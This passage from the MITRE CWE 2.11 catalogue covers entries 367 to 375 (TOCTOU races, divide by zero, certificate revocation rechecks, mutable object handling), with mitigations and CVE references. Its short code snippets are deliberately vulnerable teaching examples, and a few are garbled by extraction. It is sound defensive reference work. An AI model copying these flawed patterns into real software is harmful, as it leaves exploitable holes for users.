<td>557</td>
<td>Concurrency Issues</td>
<td></td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>634</td>
<td>Weaknesses that Affect System Processes</td>
<td></td>
<td>631</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>748</td>
<td>CERT C Secure Coding Section 50 - POSIX (POS)</td>
<td></td>
<td>734</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>852</td>
<td>CERT Java Secure Coding Section 07 - Visibility and Atomicity (VNA)</td>
<td></td>
<td>844</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>882</td>
<td>CERT C++ Secure Coding Section 14 - Concurrency (CON)</td>
<td></td>
<td>868</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>986</td>
<td>SFP Secondary Cluster: Missing Lock</td>
<td></td>
<td>888</td>
</tr>
<tr>
<td>PeerOf</td>
<td></td>
<td>365</td>
<td>Race Condition in Switch</td>
<td></td>
<td>1000</td>
</tr>
</tbody>
</table>

Affected Resources

- System Process

Taxonomy Mappings
CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition

**Mapped Taxonomy Name**
- CLASP
- CERT C Secure Coding
- CERT Java Secure Coding
- CERT Java Secure Coding
- CERT C++ Secure Coding
- Software Fault Patterns

**Node ID**
- POS00-C
- VNA02-J
- VNA03-J
- CON02-CPP
- SFP19

**Mapped Node Name**
- Race condition within a thread
- Avoid race conditions with multiple threads
- Ensure that compound operations on shared variables are atomic
- Do not assume that a group of calls to independently atomic methods is atomic
- Use lock classes for mutex management
- Missing Lock

**Related Attack Patterns**

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>26</td>
<td>Leveraging Race Conditions</td>
</tr>
<tr>
<td>29</td>
<td>Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions</td>
</tr>
</tbody>
</table>

**References**


CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition

**Weakness ID:** 367 (Weakness Base)  
**Status:** Incomplete

**Description**

**Summary**
The software checks the state of a resource before using that resource, but the resource's state can change between the check and the use in a way that invalidates the results of the check. This can cause the software to perform invalid actions when the resource is in an unexpected state.

**Extended Description**
This weakness can be security-relevant when an attacker can influence the state of the resource between check and use. This can happen with shared resources such as files, memory, or even variables in multithreaded programs.

**Alternate Terms**
- TOCTTOU  
The TOCTTOU acronym expands to "Time Of Check To Time Of Use".
- TOCCTOU  
The TOCCTOU acronym is most likely a typo of TOCTTOU, but it has been used in some influential documents, so the typo is repeated fairly frequently.

**Time of Introduction**
- Implementation

**Applicable Platforms**

**Languages**
- All

**Common Consequences**
- Integrity
- Other
- Alter execution logic
- Unexpected state
  - The attacker can gain access to otherwise unauthorized resources.
CWE Version 2.11
CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition

Integrity
Other
Modify application data
Modify files or directories
Modify memory
Other

Race conditions such as this kind may be employed to gain read or write access to resources which are not normally readable or writable by the user in question.

Integrity
Other
Other

The resource in question, or other resources (through the corrupted one), may be changed in undesirable ways by a malicious user.

Non-Repudiation
Hide activities

If a file or other resource is written in this method, as opposed to in a valid way, logging of the activity may not occur.

Non-Repudiation
Other
Other

In some cases it may be possible to delete files a malicious user might not otherwise have access to, such as log files.

Likelihood of Exploit
Low to Medium

Demonstrative Examples

Example 1:
The following code checks a file, then updates its contents.

C/C++ Example:

```
struct stat *sb;
...
lstat("...",sb); // it has not been updated since the last time it was read
printf("stated file\n");
if (sb->st_mtimespec==...){
  print("Now updating things\n");
  updateThings();
}
```

Potentially the file could have been updated between the time of the check and the lstat, especially since the printf has latency.

Example 2:
The following code is from a program installed setuid root. The program performs certain file operations on behalf of non-privileged users, and uses access checks to ensure that it does not use its root privileges to perform operations that should otherwise be unavailable the current user. The program uses the access() system call to check if the person running the program has permission to access the specified file before it opens the file and performs the necessary operations.

C Example:

```
if(access(file,W_OK)) {
  i = fopen(file,"w+”);
  operate(f);
  ...
}
else {
  fprintf(stderr,"Unable to open file %s\n",file);
}
```
The call to access() behaves as expected, and returns 0 if the user running the program has the necessary permissions to write to the file, and -1 otherwise. However, because both access() and fopen() operate on filenames rather than on file handles, there is no guarantee that the file variable still refers to the same file on disk when it is passed to fopen() that it did when it was passed to access(). If an attacker replaces file after the call to access() with a symbolic link to a different file, the program will use its root privileges to operate on the file even if it is a file that the attacker would otherwise be unable to modify. By tricking the program into performing an operation that would otherwise be impermissible, the attacker has gained elevated privileges. This type of vulnerability is not limited to programs with root privileges. If the application is capable of performing any operation that the attacker would not otherwise be allowed perform, then it is a possible target.

**Example 3:**

This code prints the contents of a file if a user has permission.

**PHP Example:**

```php
function readFile($filename)
{
    $user = getCurrentUser();
    //resolve file if its a symbolic link
    if(is_link($filename))
    {
        $filename = readlink($filename);
    }
    if(fileowner($filename) == $user)
    {
        echo file_get_contents($realFile);
        return;
    } elseif
    {   echo 'Access denied';
        return false;
    }
}
```

This code attempts to resolve symbolic links before checking the file and printing its contents. However, an attacker may be able to change the file from a real file to a symbolic link between the calls to is_link() and file_get_contents(), allowing the reading of arbitrary files. Note that this code fails to log the attempted access (CWE-778).

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2003-0813</td>
<td>A multi-threaded race condition allows remote attackers to cause a denial of service (crash or reboot) by causing two threads to process the same RPC request, which causes one thread to use memory after it has been freed.</td>
</tr>
<tr>
<td>CVE-2004-0594</td>
<td>PHP flaw allows remote attackers to execute arbitrary code by aborting execution before the initialization of key data structures is complete.</td>
</tr>
<tr>
<td>CVE-2008-1570</td>
<td>chain: time-of-check time-of-use (TOCTOU) race condition in program allows bypass of protection mechanism that was designed to prevent symlink attacks.</td>
</tr>
<tr>
<td>CVE-2008-2958</td>
<td>chain: time-of-check time-of-use (TOCTOU) race condition in program allows bypass of protection mechanism that was designed to prevent symlink attacks.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Implementation**

The most basic advice for TOCTOU vulnerabilities is to not perform a check before the use. This does not resolve the underlying issue of the execution of a function on a resource whose state and identity cannot be assured, but it does help to limit the false sense of security given by the check.

**Implementation**

When the file being altered is owned by the current user and group, set the effective gid and uid to that of the current user and group when executing this statement.

**Architecture and Design**

Limit the interleaving of operations on files from multiple processes.
Implementation

Architecture and Design
If you cannot perform operations atomically and you must share access to the resource between multiple processes or threads, then try to limit the amount of time (CPU cycles) between the check and use of the resource. This will not fix the problem, but it could make it more difficult for an attack to succeed.

Implementation

Recheck the resource after the use call to verify that the action was taken appropriately.

Architecture and Design
Ensure that some environmental locking mechanism can be used to protect resources effectively.

Implementation

Ensure that locking occurs before the check, as opposed to afterwards, such that the resource, as checked, is the same as it is when in use.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>361</td>
<td>Time and State</td>
<td>V</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>362</td>
<td>Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')</td>
<td>700</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>743</td>
<td>CERT C Secure Coding Section 09 - Input Output (FIO)</td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>877</td>
<td>CERT C++ Secure Coding Section 09 - Input Output (FIO)</td>
<td></td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>988</td>
<td>SFP Secondary Cluster: Race Condition Window</td>
<td></td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>363</td>
<td>Race Condition Enabling Link Following</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td></td>
<td>365</td>
<td>Race Condition in Switch</td>
<td>699</td>
</tr>
<tr>
<td>PeerOf</td>
<td></td>
<td>386</td>
<td>Symbolic Name not Mapping to Correct Object</td>
<td></td>
</tr>
<tr>
<td>CanFollow</td>
<td></td>
<td>609</td>
<td>Double-Checked Locking</td>
<td></td>
</tr>
<tr>
<td>MemberOf</td>
<td></td>
<td>630</td>
<td>Weaknesses Examined by SAMATE</td>
<td></td>
</tr>
<tr>
<td>MemberOf</td>
<td></td>
<td>884</td>
<td>CWE Cross-section</td>
<td></td>
</tr>
</tbody>
</table>

Relationship Notes

TOCTOU issues do not always involve symlinks, and not every symlink issue is a TOCTOU problem.

Research Gaps

Non-symlink TOCTOU issues are not reported frequently, but they are likely to occur in code that attempts to be secure.

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td></td>
<td>Time-of-check Time-of-use race condition</td>
</tr>
<tr>
<td>7 Pernicious Kingdoms</td>
<td></td>
<td>File Access Race Conditions: TOCTOU</td>
</tr>
<tr>
<td>CLASP</td>
<td></td>
<td>Time of check, time of use race condition</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>FIO01-C</td>
<td>Be careful using functions that use file names for identification</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>FIO01-CPP</td>
<td>Be careful using functions that use file names for identification</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP20</td>
<td>Race Condition Window</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>27</td>
<td>Leveraging Race Conditions via Symbolic Links</td>
<td></td>
</tr>
<tr>
<td>29</td>
<td>Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions</td>
<td></td>
</tr>
</tbody>
</table>

White Box Definitions

A weakness where code path has:

1. start statement that validates a system resource by name rather than by reference
2. end statement that accesses the system resource by the name

References
CWE-368: Context Switching Race Condition

Weakness ID: 368 (Weakness Base) Status: Draft

Description

Summary
A product performs a series of non-atomic actions to switch between contexts that cross privilege or other security boundaries, but a race condition allows an attacker to modify or misrepresent the product's behavior during the switch.

Extended Description
This is commonly seen in web browser vulnerabilities in which the attacker can perform certain actions while the browser is transitioning from a trusted to an untrusted domain, or vice versa, and the browser performs the actions on one domain using the trust level and resources of the other domain.

Time of Introduction
• Architecture and Design
• Implementation

Applicable Platforms
Languages
• All

Common Consequences
Integrity
Confidentiality
Modify application data
Read application data

Observed Examples

Reference | Description
--- | ---
CVE-2004-0191 | XSS when web browser executes Javascript events in the context of a new page while it's being loaded, allowing interaction with previous page in different domain.
CVE-2004-2260 | Browser updates address bar as soon as user clicks on a link instead of when the page has loaded, allowing spoofing by redirecting to another page using onUnload method. **this is one example of the role of "hooks" and context switches, and should be captured somehow - also a race condition of sorts**
CVE-2004-2491 | Web browser fills in address bar of clicked-on link before page has been loaded, and doesn't update afterward.
CVE-2009-1837 | Chain: race condition (CWE-362) from improper handling of a page transition in web client while an applet is loading (CWE-368) leads to use after free (CWE-416)

Weakness Ordinalities
Primary (where the weakness exists independent of other weaknesses)
This weakness can be primary to almost anything, depending on the context of the race condition.

Resultant (where the weakness is typically related to the presence of some other weaknesses)
This weakness can be resultant from insufficient compartmentalization (CWE-653), incorrect locking, improper initialization or shutdown, or a number of other weaknesses.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>362</td>
<td>Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')</td>
<td>628</td>
<td></td>
</tr>
<tr>
<td>CanAlsoBe</td>
<td>364</td>
<td>Signal Handler Race Condition</td>
<td>636</td>
<td></td>
</tr>
</tbody>
</table>
CWE-369: Divide By Zero

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>986</td>
<td>SFP Secondary Cluster: Missing Lock</td>
<td>888</td>
</tr>
</tbody>
</table>

**Relationship Notes**

Can overlap signal handler race conditions.

**Research Gaps**

Under-studied as a concept. Frequency unknown; few vulnerability reports give enough detail to know when a context switching race condition is a factor.

**Taxonomy Mappings**

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Context Switching Race Condition</td>
</tr>
</tbody>
</table>

**Related Attack Patterns**

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>26</td>
<td>Leveraging Race Conditions</td>
<td></td>
</tr>
<tr>
<td>29</td>
<td>Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions</td>
<td></td>
</tr>
</tbody>
</table>

**References**


---

**CWE-369: Divide By Zero**

**Weakness ID:** 369 *(Weakness Base)*

**Status:** Draft

**Description**

**Summary**

The product divides a value by zero.

**Extended Description**

This weakness typically occurs when an unexpected value is provided to the product, or if an error occurs that is not properly detected. It frequently occurs in calculations involving physical dimensions such as size, length, width, and height.

**Time of Introduction**

- Implementation

**Common Consequences**

**Availability**

DoS: crash / exit / restart

A Divide by Zero results in a crash.

**Likelihood of Exploit**

Medium

**Demonstrative Examples**

**Example 1:**

The following Java example contains a function to compute an average but does not validate that the input value used as the denominator is not zero. This will create an exception for attempting to divide by zero. If this error is not handled by Java exception handling, unexpected results can occur.

**Java Example:**

```java
public int computeAverageResponseTime (int totalTime, int numRequests) {
    return totalTime / numRequests;
}
```

By validating the input value used as the denominator the following code will ensure that a divide by zero error will not cause unexpected results. The following Java code example will validate the input value, output an error message, and throw an exception.

**Good Code**

```java
public int computeAverageResponseTime (int totalTime, int numRequests) throws ArithmeticException {
    if (numRequests == 0) {
        System.out.println("Division by zero attempted!");
    }
```
Example 2:
The following C/C++ example contains a function that divides two numeric values without verifying that the input value used as the denominator is not zero. This will create an error for attempting to divide by zero, if this error is not caught by the error handling capabilities of the language, unexpected results can occur.

**C/C++ Example:**

```c
double divide(double x, double y){
    return x/y;
}
```

By validating the input value used as the denominator the following code will ensure that a divide by zero error will not cause unexpected results. If the method is called and a zero is passed as the second argument a DivideByZero error will be thrown and should be caught by the calling block with an output message indicating the error.

```c
const int DivideByZero = 10;
double divide(double x, double y){
    if ( 0 == y ){
        throw DivideByZero;
    }
    return x/y;
}
```

References

Example 3:
The following C# example contains a function that divides two numeric values without verifying that the input value used as the denominator is not zero. This will create an error for attempting to divide by zero, if this error is not caught by the error handling capabilities of the language, unexpected results can occur.

**C# Example:**

```c
int Division(int x, int y){
    return (x / y);
}
```

The method can be modified to raise, catch and handle the DivideByZeroException if the input value used as the denominator is zero.

```c
int SafeDivision(int x, int y){
    try{
        return (x / y);
    }
    catch (System.DivideByZeroException dbz){
        System.Console.WriteLine("Division by zero attempted!");
        return 0;
    }
}
```
References

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2007-2237</td>
<td>Height value of 0 triggers divide by zero.</td>
</tr>
<tr>
<td>CVE-2007-2723</td>
<td>“Empty” content triggers divide by zero.</td>
</tr>
<tr>
<td>CVE-2007-3268</td>
<td>Invalid size value leads to divide by zero.</td>
</tr>
</tbody>
</table>

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>☢</td>
<td>682</td>
<td>Incorrect Calculation</td>
</tr>
<tr>
<td>ChildOf</td>
<td>☢</td>
<td>730</td>
<td>OWASP Top Ten 2004 Category A9 - Denial of Service</td>
</tr>
<tr>
<td>ChildOf</td>
<td>☢</td>
<td>738</td>
<td>CERT C Secure Coding Section 04 - Integers (INT)</td>
</tr>
<tr>
<td>ChildOf</td>
<td>☢</td>
<td>739</td>
<td>CERT C Secure Coding Section 05 - Floating Point (FLP)</td>
</tr>
<tr>
<td>ChildOf</td>
<td>☢</td>
<td>848</td>
<td>CERT Java Secure Coding Section 03 - Numeric Types and Operations (NUM)</td>
</tr>
<tr>
<td>ChildOf</td>
<td>☢</td>
<td>872</td>
<td>CERT C++ Secure Coding Section 04 - Integers (INT)</td>
</tr>
<tr>
<td>ChildOf</td>
<td>☢</td>
<td>873</td>
<td>CERT C++ Secure Coding Section 05 - Floating Point Arithmetic (FLP)</td>
</tr>
<tr>
<td>ChildOf</td>
<td>☢</td>
<td>998</td>
<td>SFP Secondary Cluster: Glitch in Computation</td>
</tr>
<tr>
<td>MemberOf</td>
<td>☢</td>
<td>884</td>
<td>CWE Cross-section</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Fit</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>OWASP Top Ten 2004</td>
<td>A9</td>
<td>CWE More Specific</td>
<td>Denial of Service</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>FLP03-C</td>
<td></td>
<td>Detect and handle floating point errors</td>
</tr>
<tr>
<td>CERT C Secure Coding</td>
<td>INT33-C</td>
<td></td>
<td>Ensure that division and modulo operations do not result in divide-by-zero errors</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>NUM02-J</td>
<td></td>
<td>Ensure that division and modulo operations do not result in divide-by-zero errors</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>INT33-CPP</td>
<td></td>
<td>Ensure that division and modulo operations do not result in divide-by-zero errors</td>
</tr>
<tr>
<td>CERT C++ Secure Coding</td>
<td>FLP03-CPP</td>
<td></td>
<td>Detect and handle floating point errors</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP1</td>
<td></td>
<td>Glitch in computation</td>
</tr>
</tbody>
</table>

CWE-370: Missing Check for Certificate Revocation after Initial Check

**Weakness ID:** 370 (Weakness Base)  
**Status:** Draft

**Description**

**Summary**

The software does not check the revocation status of a certificate after its initial revocation check, which can cause the software to perform privileged actions even after the certificate is revoked at a later time.

**Extended Description**

If the revocation status of a certificate is not checked before each action that requires privileges, the system may be subject to a race condition. If a certificate is revoked after the initial check, all subsequent actions taken with the owner of the revoked certificate will lose all benefits guaranteed by the certificate. In fact, it is almost certain that the use of a revoked certificate indicates malicious activity.

**Time of Introduction**

- Architecture and Design
- Implementation
Applicable Platforms
Languages
• Language-independent

Common Consequences
Access Control
Gain privileges / assume identity
Trust may be assigned to an entity who is not who it claims to be.

Integrity
Modify application data
Data from an untrusted (and possibly malicious) source may be integrated.

Confidentiality
Read application data
Data may be disclosed to an entity impersonating a trusted entity, resulting in information disclosure.

Likelihood of Exploit
Medium

Demonstrative Examples
The following code checks a certificate before performing an action.

C/C++ Example:

```c
if (cert = SSL_get_peer_certificate(ssl)) {
    foo=SSL_get_verify_result(ssl);
    if (X509_V_OK==foo)
        //do stuff
   .foo=SSL_get_verify_result(ssl);
    //do more stuff without the check.
}
```

While the code performs the certificate verification before each action, it does not check the result of the verification after the initial attempt. The certificate may have been revoked in the time between the privileged actions.

Potential Mitigations
Architecture and Design
Ensure that certificates are checked for revoked status before each use of a protected resource. If the certificate is checked before each access of a protected resource, the delay subject to a possible race condition becomes almost negligible and significantly reduces the risk associated with this issue.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>PeerOf</td>
<td></td>
<td>296</td>
<td>Improper Following of a Certificate's Chain of Trust</td>
<td>1000</td>
</tr>
<tr>
<td>PeerOf</td>
<td></td>
<td>297</td>
<td>Improper Validation of Certificate with Host Mismatch</td>
<td>1000</td>
</tr>
<tr>
<td>PeerOf</td>
<td></td>
<td>298</td>
<td>Improper Validation of Certificate Expiration</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>299</td>
<td>Improper Check for Certificate Revocation</td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td>988</td>
<td>SFP Secondary Cluster: Race Condition Window</td>
<td>888</td>
</tr>
</tbody>
</table>

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CLASP</td>
<td></td>
<td>Race condition in checking for certificate revocation</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP20</td>
<td>Race Condition Window</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>26</td>
<td>Leveraging Race Conditions</td>
</tr>
<tr>
<td>29</td>
<td>Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions</td>
</tr>
</tbody>
</table>

References

CWE-371: State Issues

Category ID: 371 (Category)  Status: Draft

Description

Summary
Weaknesses in this category are related to improper management of system state.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>361</td>
<td>Time and State</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>372</td>
<td>Incomplete Internal State Distinction</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>374</td>
<td>Passing Mutable Objects to an Untrusted Method</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>375</td>
<td>Returning a Mutable Object to an Untrusted Caller</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>472</td>
<td>External Control of Assumed-Immutable Web Parameter</td>
<td>1003</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>557</td>
<td>Concurrency Issues</td>
<td>1003</td>
</tr>
<tr>
<td>ParentOf</td>
<td>B</td>
<td>585</td>
<td>Empty Synchronized Block</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>C</td>
<td>642</td>
<td>External Control of Critical State Data</td>
<td>699</td>
</tr>
</tbody>
</table>

Related Attack Patterns

CAPEC-ID  Attack Pattern Name
74        Manipulating User State

CWE-372: Incomplete Internal State Distinction

Weakness ID: 372 (Weakness Base)  Status: Draft

Description

Summary
The software does not properly determine which state it is in, causing it to assume it is in state X when in fact it is in state Y, causing it to perform incorrect operations in a security-relevant manner.

Time of Introduction
• Architecture and Design
• Implementation

Applicable Platforms

Languages
• All

Common Consequences

Integrity
• Varies by context

Unexpected state

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>371</td>
<td>State Issues</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>B</td>
<td>697</td>
<td>Insufficient Comparison</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>962</td>
<td>SFP Secondary Cluster: Unchecked Status Condition</td>
<td>888</td>
</tr>
</tbody>
</table>

Relationship Notes
This conceptually overlaps other categories such as insufficient verification, but this entry refers to the product's incorrect perception of its own state.
This is probably resultant from other weaknesses such as unhandled error conditions, inability to handle out-of-order steps, multiple interpretation errors, etc.

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Incomplete Internal State Distinction</td>
</tr>
</tbody>
</table>
CWE-373: DEPRECATED: State Synchronization Error

Weakness ID: 373 (Deprecated Weakness Base)  Status: Deprecated

Description
Summary
This entry was deprecated because it overlapped the same concepts as race condition (CWE-362) and Improper Synchronization (CWE-662).

CWE-374: Passing Mutable Objects to an Untrusted Method

Weakness ID: 374 (Weakness Base)  Status: Draft

Description
Summary
The program sends non-cloned mutable data as an argument to a method or function.

Extended Description
The function or method that has been called can alter or delete the mutable data. This could violate assumptions that the calling function has made about its state. In situations where unknown code is called with references to mutable data, this external code could make changes to the data sent. If this data was not previously cloned, the modified data might not be valid in the context of execution.

Time of Introduction
• Implementation

Applicable Platforms
Languages
• C
• C++
• Java
• .NET

Common Consequences
Integrity
Modify memory
Potentially data could be tampered with by another function which should not have been tampered with.

Likelihood of Exploit
Medium

Demonstrative Examples
Example 1:
C/C++ Example:

```cpp
private:
    int foo;
    complexType bar;
    String baz;
    otherClass externalClass;
public:
    void doStuff() {
        externalClass.doOtherStuff(foo, bar, baz)
    }
```
In this example, bar and baz will be passed by reference to doOtherStuff() which may change them.

**Example 2:**

In the following Java example, the BookStore class manages the sale of books in a bookstore, this class includes the member objects for the bookstore inventory and sales database manager classes. The BookStore class includes a method for updating the sales database and inventory when a book is sold. This method retrieves a Book object from the bookstore inventory object using the supplied ISBN number for the book class, then calls a method for the sales object to update the sales information and then calls a method for the inventory object to update inventory for the BookStore.

**Java Example:**

```java
public class BookStore {
    private BookStoreInventory inventory;
    private SalesDBManager sales;
    ...
    // constructor for BookStore
    public BookStore() {
        this.inventory = new BookStoreInventory();
        this.sales = new SalesDBManager();
        ...
    }
    public void updateSalesAndInventoryForBookSold(String bookISBN) {
        // Get book object from inventory using ISBN
        // update sales information for book sold
        sales.updateSalesInformation(book);
        // update inventory
        inventory.updateInventory(book);
    }
    // other BookStore methods
    ...
}
public class Book {
    private String title;
    private String author;
    private String isbn;
    // Book object constructors and get/set methods
    ...
}
```

However, in this example the Book object that is retrieved and passed to the method of the sales object could have its contents modified by the method. This could cause unexpected results when the book object is sent to the method for the inventory object to update the inventory.

In the Java programming language arguments to methods are passed by value, however in the case of objects a reference to the object is passed by value to the method. When an object reference is passed as a method argument a copy of the object reference is made within the method and therefore both references point to the same object. This allows the contents of the object to be modified by the method that holds the copy of the object reference. [R.374.1]

In this case the contents of the Book object could be modified by the method of the sales object prior to the call to update the inventory.

To prevent the contents of the Book object from being modified, a copy of the Book object should be made before the method call to the sales object. In the following example a copy of the Book object is made using the clone() method and the copy of the Book object is passed to the method of the sales object. This will prevent any changes being made to the original Book object.

**Java Example:**

```java
public void updateSalesAndInventoryForBookSold(String bookISBN) {
    // Get book object from inventory using ISBN
    // Create copy of book object to make sure contents are not changed
    Book bookSold = (Book) book.clone();
    ...
}
```
# CWE-375: Returning a Mutable Object to an Untrusted Caller

## Potential Mitigations

### Implementation

Pass in data which should not be altered as constant or immutable.

### Implementation

Clone all mutable data before passing it into an external function. This is the preferred mitigation. This way, regardless of what changes are made to the data, a valid copy is retained for use by the class.

## Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>371</td>
<td>State Issues</td>
<td>699</td>
<td>652</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>668</td>
<td>Exposure of Resource to Wrong Sphere</td>
<td>1000</td>
<td>1037</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>849</td>
<td>CERT Java Secure Coding Section 04 - Object Orientation (OBJ)</td>
<td>844</td>
<td>1297</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>963</td>
<td>SFP Secondary Cluster: Exposed Data</td>
<td>888</td>
<td>1381</td>
</tr>
</tbody>
</table>

## Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>CLASP</td>
<td></td>
<td>Passing mutable objects to an untrusted method</td>
</tr>
<tr>
<td>CERT Java Secure Coding</td>
<td>OBJ04-J</td>
<td>Provide mutable classes with copy functionality to safely allow passing instances to untrusted code</td>
</tr>
<tr>
<td>Software Fault Patterns</td>
<td>SFP23</td>
<td>Exposed Data</td>
</tr>
</tbody>
</table>

## References


## CWE-375: Returning a Mutable Object to an Untrusted Caller

### Weakness ID: 375 (Weakness Base)

### Status: Draft

#### Description

**Summary**

Sending non-cloned mutable data as a return value may result in that data being altered or deleted by the calling function.

**Extended Description**

In situations where functions return references to mutable data, it is possible that the external code which called the function may make changes to the data sent. If this data was not previously cloned, the class will then be using modified data which may violate assumptions about its internal state.

#### Time of Introduction

- Implementation

#### Applicable Platforms

**Languages**

- C
- C++
- Java
- .NET

#### Common Consequences
CWE Version 2.11
CWE-376: Temporary File Issues

Access Control
Integrity
Modify memory
Potentially data could be tampered with by another function which should not have been tampered with.

Likelihood of Exploit
Medium

Demonstrative Examples
This class has a private list of patients, but provides a way to see the list:

Java Example:

```
public class ClinicalTrial {
    private PatientClass[] patientList = new PatientClass[50];
    public getPatients(...){
        return patientList;
    }
}
```

While this code only means to allow reading of the patient list, the getPatients() method returns a reference to the class's original patient list instead of a reference to a copy of the list. Any caller of this method can arbitrarily modify the contents of the patient list even though it is a private member of the class.

Potential Mitigations
Implementation
Declare returned data which should not be altered as constant or immutable.

Implementation
Clone all mutable data before returning references to it. This is the preferred mitigation. This way, regardless of what changes are made to the data, a valid copy is retained for use by the class.

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
